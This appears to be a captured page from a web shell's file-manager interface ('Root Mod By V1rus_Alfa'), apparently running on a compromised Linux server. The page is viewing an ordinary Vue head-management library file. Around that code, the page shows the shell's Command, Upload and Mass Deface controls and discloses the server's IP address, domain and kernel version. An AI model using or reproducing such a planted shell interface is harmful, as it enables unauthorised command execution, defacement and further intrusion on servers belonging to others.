���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
.trash
/
node_modules
/
@unhead
/
vue
/
dist
/
Viewing: components.mjs
import { defineComponent, ref, onBeforeUnmount, watchEffect } from 'vue'; import { i as injectHead, V as Vue3 } from './shared/vue.40986ab9.mjs'; import 'unhead'; import '@unhead/shared'; function addVNodeToHeadObj(node, obj) { const nodeType = !Vue3 ? node.tag : node.type; const type = nodeType === "html" ? "htmlAttrs" : nodeType === "body" ? "bodyAttrs" : nodeType; if (typeof type !== "string" || !(type in obj)) return; const nodeData = !Vue3 ? node.data : node; const props = (!Vue3 ? nodeData.attrs : node.props) || {}; if (!Vue3) { if (nodeData.staticClass) props.class = nodeData.staticClass; if (nodeData.staticStyle) props.style = Object.entries(nodeData.staticStyle).map(([key, value]) => `${key}:${value}`).join(";"); } if (node.children) { const childrenAttr = !Vue3 ? "text" : "children"; props.children = Array.isArray(node.children) ? node.children[0][childrenAttr] : node[childrenAttr]; } if (Array.isArray(obj[type])) obj[type].push(props); else if (type === "title") obj.title = props.children; else obj[type] = props; } function vnodesToHeadObj(nodes) { const obj = { title: void 0, htmlAttrs: void 0, bodyAttrs: void 0, base: void 0, meta: [], link: [], style: [], script: [], noscript: [] }; for (const node of nodes) { if (typeof node.type === "symbol" && Array.isArray(node.children)) { for (const childNode of node.children) addVNodeToHeadObj(childNode, obj); } else { addVNodeToHeadObj(node, obj); } } return obj; } const Head = /* @__PURE__ */ defineComponent({ name: "Head", setup(_, { slots }) { const head = injectHead(); const obj = ref({}); const entry = head.push(obj); onBeforeUnmount(() => { entry.dispose(); }); return () => { watchEffect(() => { if (!slots.default) return; entry.patch(vnodesToHeadObj(slots.default())); }); return null; }; } }); export { Head };
Coded With 💗 by
0x6ick Mod By V1rus_Alfa